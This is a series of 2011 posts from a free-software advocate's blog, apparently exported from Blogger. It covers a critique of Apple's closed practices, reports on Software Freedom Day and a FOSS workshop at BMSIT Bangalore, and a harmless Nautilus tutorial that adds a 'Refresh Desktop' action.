Before a couple of years, while I was in an offline discussion with Eben Moglen, he had expressed serious bitterness towards Steve Jobs and Apple. I later realized it was about the <a href="http://radar.oreilly.com/2011/08/how-free-software-contributed.html">BSD code of the UNIX </a>which all Apple products embed, and also of the initial free software projects which today reside behind Apple's closed doors. And today, carrying on with that legacy, there is virtually nothing that ain't super proprietary and really closed when it comes to Apple. <br />
<br />
Further, Apple products apart from being the zenith of closed source software, they are also the certain baton holders of highly closed hardware, and now into the <a href="http://www.defectivebydesign.org/what_is_drm">Digital Restricted Media</a> realms, ultimately rendering the users with zero freedom.<br />
<br />
<br />
And as the brain behind most of the Apple decisions, these are certain moves by Steve Jobs which have made the technological world a really bad place! It might be good for technology, it certainly is not for people!<br />
<br />
Although a person who showed courage in battling his life through odds will be missed, a ruthless entrepreneuer and mascot of unfreedom will certainly become oblivous.<br />
<br />
<i>People, and their freedom first</i>, is what we believe in the Free Software Movement. </div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-68708585982050680822011-09-18T13:46:00.003+05:302011-09-18T14:01:39.455+05:30Software Freedom Day-2011 @ BMSIT<div dir="ltr" style="text-align: left;" trbidi="on">
Software Freedom Day 2008 is when I got introduced to the movement and the awesome community attached to the Free Software. Ever since then, Free Software has been a revelatory experience on a daily basis.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rExPXL5Pt5w/TnWnR275AvI/AAAAAAAAB-Q/Vx_1-Ar1gJA/s1600/Screenshot-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="114" src="http://3.bp.blogspot.com/-rExPXL5Pt5w/TnWnR275AvI/AAAAAAAAB-Q/Vx_1-Ar1gJA/s400/Screenshot-6.png" width="400" /></a></div>
<br />
The philosophy of learning, sharing and growing together has been manifesting itself regularly with opportunities of interacting with numerous other like minded individuals. <br />
<br />
Free Software Movement Karnataka has been involved in propagating
Free Software in various educational institutions. With regular efforts BMSIT in Bangalore
will become a prospective Free Software hub.<br />
<br />
And SFD, every year is something we look forward to and this year's celebration in BMSIT would undoubtedly be one of the most memorable Free Software meet ups.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wwGP7HhjJrM/TnWnhw-D9xI/AAAAAAAAB-c/g_fOfCZQytg/s1600/296371_2188727211543_1647980683_2154397_1351802175_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="http://1.bp.blogspot.com/-wwGP7HhjJrM/TnWnhw-D9xI/AAAAAAAAB-c/g_fOfCZQytg/s400/296371_2188727211543_1647980683_2154397_1351802175_n.jpg" width="400" /></a></div>
<br />
This celebration comprised of the ritual of cutting a yummy chocolate cake and sharing the 'joy of freedom'. With this setting the premise I tried to invoke some background to the necessity of freedom in software using Eben Moglen's ideas of "Mathematics as property", which I think conveyed to some extent the need of freedom in software.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-N7T9352k3j8/TnWnasP-ztI/AAAAAAAAB-U/IwbZMT20reY/s1600/297275_2188720691380_1647980683_2154380_1037279642_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://2.bp.blogspot.com/-N7T9352k3j8/TnWnasP-ztI/AAAAAAAAB-U/IwbZMT20reY/s320/297275_2188720691380_1647980683_2154380_1037279642_n.jpg" width="320" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
It was followed by a basic introduction to Python: The programming language by a couple of students from the college. We were trying to project the scalability and usability of Python.<br />
<br />
It was followed by a demonstration of a signal processor based wrist watch by Texas Instruments, interfaced with Ubuntu executing python scripts and some aspects of the features that could be extended by writing simple scripts.<br />
<br />
<br />
<a href="http://1.bp.blogspot.com/-e0I0PFNG790/TnWrthASR6I/AAAAAAAAB-o/E5nJ_2t6AMw/s1600/Screenshot-7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://1.bp.blogspot.com/-PlFYs2sXq-8/TnWruFQSBCI/AAAAAAAAB-s/bagzIMPY9Rw/s1600/Screenshot-8.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="152" src="http://1.bp.blogspot.com/-PlFYs2sXq-8/TnWruFQSBCI/AAAAAAAAB-s/bagzIMPY9Rw/s200/Screenshot-8.png" width="200" /></a><img border="0" height="171" src="http://1.bp.blogspot.com/-e0I0PFNG790/TnWrthASR6I/AAAAAAAAB-o/E5nJ_2t6AMw/s200/Screenshot-7.png" width="200" /><br />
<br />
I demonstrated the 3-D module in python <a href="http://github.enthought.com/mayavi/mayavi/">mayavi</a> and the tool's super capabilities of simulating 3-dimensional surfaces and volumes. There was also a demonstration of solving second order ordinary differential equations using python, which was hopefully of some use to the students gathered there.<br />
<br />
In all, this SFD was eventful in Bangalore, while the celebration at BMSIT was only one of the numerous other sessions we had planned to conduct.<br />
<i><br /></i><br />
<i>Free Software is the future,</i><br />
<i>The future is ours. </i></div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com2tag:blogger.com,1999:blog-3494039864884400347.post-74257426506656428872011-09-08T19:06:00.000+05:302011-09-08T19:17:12.320+05:30Migration to FOSS at BMSIT<div dir="ltr" style="text-align: left;" trbidi="on">
As sprint events to Software Freedom Day, and celebrating Software Freedom the second of the sessions in BMS Institute of Technology was organized today.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-mcB2WYBB-Mc/TmjD--jXcEI/AAAAAAAAB94/NHAs7kSzQFs/s1600/100_1985.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://1.bp.blogspot.com/-mcB2WYBB-Mc/TmjD--jXcEI/AAAAAAAAB94/NHAs7kSzQFs/s320/100_1985.JPG" width="320" /></a></div>
<br />
<br />
After a session on FOSS approach towards Privacy and Security in the Internet for students, a full day workshop aimed at facilitating the faculty members of Electronics and Communication Department of BMS Institute of Technology to migrate onto GNU/Linux platform with equivalent tools to most of the ubiquitous tools used in the ECE academic scene were demonstrated.<br />
<br />
The overall response was overwhelming, and very positive. Being the ECE Department the speaker for the session Mr.Prabodh and myself was preparing to brace for a colder audience with some natural hesitation. But, on the contrary we found everyone really interested in the gamut of tools with unadaunted enthusiasm till the end of the day. Numerous tools available for the various topics to be dealt in teaching the curriculum. Through the day, interaction was highly productive with proactive queries and discussions.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-23VQd8YOzSI/TmjEDQdcA3I/AAAAAAAAB98/TaJ9h5df4es/s1600/100_1987.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://2.bp.blogspot.com/-23VQd8YOzSI/TmjEDQdcA3I/AAAAAAAAB98/TaJ9h5df4es/s320/100_1987.JPG" width="320" /></a></div>
<br />
There is a pressing need for the academic institutions to migrate to Free and Open Source Software knowing the entire depth of positive ramifications of the tools and the philosophy behind the tools. I am glad that my alma matter has taken this step. We at FSMK are certainly looking forward to sustained efforts to perpetuate the momentum instigated by today's sessions.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-pkFaggj7rsw/TmjEnmZDPrI/AAAAAAAAB-A/0FA4JzyaNxg/s1600/electronics+ubuntu.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-pkFaggj7rsw/TmjEnmZDPrI/AAAAAAAAB-A/0FA4JzyaNxg/s320/electronics+ubuntu.jpg" width="284" /></a></div>
<br />
And talking specifically about Electronics related tools in the GNU/Linux domain, a special push is required to bundle these marvelous tools already available with comprehensive manuals. This way first smooth migration and prospective contributions can be hoped for.<br />
<br />
A big shout out to all who were part of today's workshop. Cheers!</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com2tag:blogger.com,1999:blog-3494039864884400347.post-92097874452555008652011-08-17T19:07:00.007+05:302011-08-17T19:55:59.123+05:30Right Click, Refresh Desktop in Debian/Ubuntu<div dir="ltr" style="text-align: left;" trbidi="on">
Windoze users when switching to Debian/Ubuntu or any other flavours of GNU/Linux seem to have a hangover of some futile actions, that one would get used to while being desperate on the Windoze environments :D<br />
<br />
And if you seriously are missing the "refresh desktop" options on the GNU/Linux environments, just to demonstrate the power of Free and Open Source Software, and the freedom they provide the users with, here's a small tweak which gives the "Refresh Desktop" option.<br />
<br />
By the way, F5 on Debian/Ubuntu still perform the Refresh blink. This tweak is to add the Right Click -&gt; Refresh Desktop option.<br />
<br />
1.Open terminal (ctrl+alt+t)<br />
2. Install the the nautilus (default file browser) menu configuration tool and the <b><i>lineakd</i></b> is the daemon that runs in the background of an X session and listens
to incoming events from multimedia buttons<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo apt-get install nautilus-actions lineakd</span><br />
<br />
3. Create a directory to dump this and anymore future tweaks you might be performing to nautilus<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">mkdir nautilus-scripts</span><br />
<br />
4. Enter the new directory,<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">cd nautilus-scripts</span><br />
<br />
5. Create the script file,<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">gedit refresh-desktop</span><br />
<br />
6. Copy these contents in the file (this will perform toggling of F5, and hence the refresh !)<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#!/bin/bash</span><br />
<span style="font-family: "Courier New",Courier,monospace;">xsendkeycode 71 1</span><br />
<span style="font-family: "Courier New",Courier,monospace;">xsendkeycode 71 0</span><br />
<br />
Save and close.<br />
<br />
7. Make the script executable using chmod.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo chmod u+x refresh-desktop</span><br />
<br />
8. Now, the script is ready, we need to link it to the action. And to add the right-click -&gt; Refresh Desktop short cut, go to System -&gt; Preferences -&gt; Nautilus Actions configuration,<br />
<br />
9. Create a new action<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-gPyTTpHz37o/TkvDvnqG0RI/AAAAAAAAB8o/xUOQY56kNfc/s1600/Screenshot-*Nautilus+Actions+Configuration+Tool+-+New+Nautilus+action.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="http://3.bp.blogspot.com/-gPyTTpHz37o/TkvDvnqG0RI/AAAAAAAAB8o/xUOQY56kNfc/s400/Screenshot-*Nautilus+Actions+Configuration+Tool+-+New+Nautilus+action.png" width="400" /></a></div>
<br />
10. Change the context label to "Refresh Desktop", or "Mimic Windoze", or anything that pleases you :P<br />
<br />
11. Check all the "Display Item options"<br />
<br />
12. In the command tab, click on the browse option of Path, and link the refresh-desktop file in the directory "nautilus-scripts" created in step 5<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-Ae80CY2LMk0/TkvD6121tAI/AAAAAAAAB8s/3_IA_IR7pMA/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
13. In the conditions tab, select "Both"<br />
14. Record all changes, or Save<br />
15. Logout and login<br />
16. And there you go! No more missing a futile action :P<br />
<br />
<a href="http://1.bp.blogspot.com/-Ae80CY2LMk0/TkvD6121tAI/AAAAAAAAB8s/3_IA_IR7pMA/s1600/Screenshot-1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="http://1.bp.blogspot.com/-Ae80CY2LMk0/TkvD6121tAI/AAAAAAAAB8s/3_IA_IR7pMA/s320/Screenshot-1.png" width="320" /></a></div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com1